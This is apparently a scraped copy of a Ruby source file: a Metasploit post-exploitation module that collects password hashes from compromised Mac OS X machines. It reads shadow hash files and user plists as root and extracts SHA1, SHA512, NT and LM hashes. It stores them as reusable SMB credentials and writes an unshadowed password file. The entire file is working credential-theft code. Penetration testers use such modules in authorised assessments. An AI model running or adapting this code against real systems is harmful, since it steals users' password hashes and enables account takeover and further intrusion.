244 lines
7.1 KiB
Ruby
244 lines
7.1 KiB
Ruby
##
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# ## This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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require 'rex'
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require 'msf/core/post/common'
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require 'msf/core/post/file'
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require 'msf/core/auxiliary/report'
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class Metasploit3 < Msf::Post
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include Msf::Post::Common
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include Msf::Post::File
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include Msf::Auxiliary::Report
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def initialize(info={})
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super( update_info( info,
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'Name' => 'OS X Gather Mac OS X Password Hash Collector',
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'Description' => %q{
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This module dumps SHA-1, LM and NT Hashes of Mac OS X Tiger, Leopard, Snow Leopard and Lion Systems.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>','hammackj <jacob.hammack[at]hammackj.com>'],
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'Platform' => [ 'osx' ],
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'SessionTypes' => [ "shell" ]
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))
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end
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# Run Method for when run command is issued
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def run
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case session.type
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when /meterpreter/
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host = session.sys.config.sysinfo["Computer"]
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when /shell/
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host = session.shell_command_token("hostname").chomp
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end
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print_status("Running module against #{host}")
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running_root = check_root
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if running_root
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print_status("This session is running as root!")
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end
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ver_num = get_ver
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if running_root
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dump_hash(ver_num)
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else
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print_error("Insufficient Privileges you must be running as root to dump the hashes")
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end
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end
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#parse the dslocal plist in lion
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def read_ds_xml_plist(plist_content)
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require "rexml/document"
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doc = REXML::Document.new(plist_content)
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keys = []
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doc.elements.each("plist/dict/key") do |element|
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keys << element.text
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end
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fields = {}
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i = 0
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doc.elements.each("plist/dict/array") do |element|
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data = []
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fields[keys[i]] = data
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element.each_element("*") do |thing|
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data_set = thing.text
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if data_set
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data << data_set.gsub("\n\t\t","")
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else
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data << data_set
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end
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end
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i+=1
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end
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return fields
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end
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# Checks if running as root on the target
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def check_root
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# Get only the account ID
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id = cmd_exec("/usr/bin/id","-ru").chomp
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if id == "0"
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return true
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else
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return false
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end
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end
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# Enumerate the OS Version
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def get_ver
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# Get the OS Version
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osx_ver_num = cmd_exec("/usr/bin/sw_vers", "-productVersion").chomp
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return osx_ver_num
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end
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# Dump SHA1 Hashes used by OSX, must be root to get the Hashes
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def dump_hash(ver_num)
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print_status("Dumping Hashes")
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users = []
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nt_hash = nil
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host = session.session_host
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# Path to files with hashes
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sha1_file = ""
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# Check if system is Lion if not continue
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if ver_num =~ /10\.(7)/
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hash_decoded = ""
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# get list of profiles present in the box
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profiles = cmd_exec("ls /private/var/db/dslocal/nodes/Default/users").split("\n")
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if profiles
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profiles.each do |p|
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# Skip none user profiles
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next if p =~ /^_/
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next if p =~ /^daemon|root|nobody/
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# Turn profile plist in to XML format
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cmd_exec("cp","/private/var/db/dslocal/nodes/Default/users/#{p.chomp} /tmp/")
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cmd_exec("plutil","-convert xml1 /tmp/#{p.chomp}")
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file = cmd_exec("cat","/tmp/#{p.chomp}")
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# Clean up using secure delete overwriting and zeroing blocks
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cmd_exec("/usr/bin/srm","-m -z /tmp/#{p.chomp}")
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# Process XML Plist into a usable hash
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plist_values = read_ds_xml_plist(file)
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# Extract the shadow hash data, decode it and format it
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plist_values['ShadowHashData'].join("").unpack('m')[0].each_byte do |b|
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hash_decoded << sprintf("%02X", b)
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end
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user = plist_values['name'].join("")
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# Check if NT HASH is present
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if hash_decoded =~ /4F1010/
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nt_hash = hash_decoded.scan(/^\w*4F1010(\w*)4F1044/)[0][0]
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end
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# Carve out the SHA512 Hash, the first 4 bytes is the salt
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sha512 = hash_decoded.scan(/^\w*4F1044(\w*)(080B190|080D101E31)/)[0][0]
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print_status("SHA512:#{user}:#{sha512}")
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sha1_file << "#{user}:#{sha512}\n"
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# Reset hash value
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sha512 = ""
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if nt_hash
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print_status("NT:#{user}:#{nt_hash}")
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print_status("Credential saved in database.")
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report_auth_info(
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:host => host,
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:port => 445,
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:sname => 'smb',
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:user => user,
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:pass => "AAD3B435B51404EE:#{nt_hash}",
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:active => true
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)
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# Reset hash value
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nt_hash = nil
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end
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# Reset hash value
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hash_decoded = ""
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end
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end
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# Save pwd file
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upassf = store_loot("osx.hashes.sha512", "text/plain", session, sha1_file, "unshadowed_passwd.pwd", "OSX Unshadowed SHA512 Password File")
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print_good("Unshadowed Password File: #{upassf}")
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# If system was lion and it was processed nothing more to do
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return
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end
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users_folder = cmd_exec("/bin/ls","/Users")
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users_folder.each_line do |u|
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next if u.chomp =~ /Shared|\.localized/
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users << u.chomp
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end
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# Process each user
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users.each do |user|
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if ver_num =~ /10\.(6|5)/
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guid = cmd_exec("/usr/bin/dscl", "localhost -read /Search/Users/#{user} | grep GeneratedUID | cut -c15-").chomp
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elsif ver_num =~ /10\.(4|3)/
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guid = cmd_exec("/usr/bin/niutil","-readprop . /users/#{user} generateduid").chomp
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end
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# Extract the hashes
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sha1_hash = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid} | cut -c169-216").chomp
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nt_hash = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid} | cut -c1-32").chomp
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lm_hash = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid} | cut -c33-64").chomp
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# Check that we have the hashes and save them
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if sha1_hash !~ /00000000000000000000000000000000/
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print_status("SHA1:#{user}:#{sha1_hash}")
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sha1_file << "#{user}:#{sha1_hash}"
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end
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if nt_hash !~ /000000000000000/
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print_status("NT:#{user}:#{nt_hash}")
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print_status("Credential saved in database.")
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report_auth_info(
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:host => host,
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:port => 445,
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:sname => 'smb',
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:user => user,
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:pass => "AAD3B435B51404EE:#{nt_hash}",
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:active => true
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)
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end
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if lm_hash !~ /0000000000000/
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print_status("LM:#{user}:#{lm_hash}")
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print_status("Credential saved in database.")
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report_auth_info(
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:host => host,
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:port => 445,
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:sname => 'smb',
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:user => user,
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:pass => "#{lm_hash}:",
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:active => true
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)
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end
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end
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# Save pwd file
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upassf = store_loot("osx.hashes.sha1", "text/plain", session, sha1_file, "unshadowed_passwd.pwd", "OSX Unshadowed SHA1 Password File")
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print_good("Unshadowed Password File: #{upassf}")
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end
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end
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